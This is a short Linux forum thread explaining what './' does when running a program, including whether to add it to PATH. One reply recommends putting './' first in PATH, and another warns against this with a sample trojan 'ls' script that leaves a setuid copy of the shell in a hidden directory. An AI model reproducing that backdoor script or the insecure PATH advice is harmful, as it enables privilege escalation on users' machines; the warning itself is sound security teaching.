Please guide

Discussion of programming on Linux, including shell scripting, perl, python, c/c++, mono, java. Whatever tickles your fancy.

Please guide

Postby atif_majid10 » Tue Nov 01, 2005 10:48 am

Hi There
I think this is not a programming question but I could not find any suitable forum to ask in linuxpakistan.net. Here is the problem...

Sometimes we use "./" to run some binary executable file. What is the purpose of this "./".

Thanks
Atif Majid
Idleness is not doing nothing. Idleness is being free to do any thing...
atif_majid10
Cadet
 
Posts: 13
Joined: Mon May 31, 2004 3:56 pm
WLM: atif_majid@hotmail.com
Location: Islamabad

Postby farhantoqeer » Tue Nov 01, 2005 11:34 am

./ is used to execute the binary from the present working directory.
A: Yes
Q: Is top-posting bad?
farhantoqeer
Major General
 
Posts: 917
Joined: Thu Jun 27, 2002 5:45 pm
Website: http://www.emergen.biz
Location: Karachi

Postby wacky » Tue Nov 01, 2005 5:08 pm

Obviously you can put "./" in your PATH env variable like so:

Code: Select all

export PATH="$PATH:./"


and then you don't have to type "./" in front of your executable. The danger here is that if that executable also exists in another dir and that dir is part of $PATH, then it'll be run from that dir rather than "./".
To overcome this limitation, you can specify your PATH like so:

Code: Select all

export PATH="./:$PATH"


Now if you type an executable name, it'll look in your current working directory first and then in other dirs in the $PATH variable.

Regards
wacky
wacky
Naik
 
Posts: 94
Joined: Thu Jun 10, 2004 7:42 pm
Location: London, UK

Postby lambda » Mon Nov 07, 2005 12:44 pm

don't put the dot in front of your path. ever. bad idea. don't do it. it's a security risk.

suppose you have a dot at the front of your path. you cd to /tmp and type "ls" to see what files are there. only...someone has created a shell script in /tmp called "ls". it looks like

Code: Select all

#!/bin/sh

cp /bin/sh /var/tmp/.save/$USER
chmod 6755 /var/tmp/.save/$USER
exec /bin/ls "$@"

what do you think this will do?
lambda
Major General
 
Posts: 3452
Joined: Tue May 27, 2003 7:04 pm
Website: http://www.hungry.com/~fn/
Location: Lahore


Return to “%s” Programming

Who is online

Users browsing this forum: No registered users and 1 guest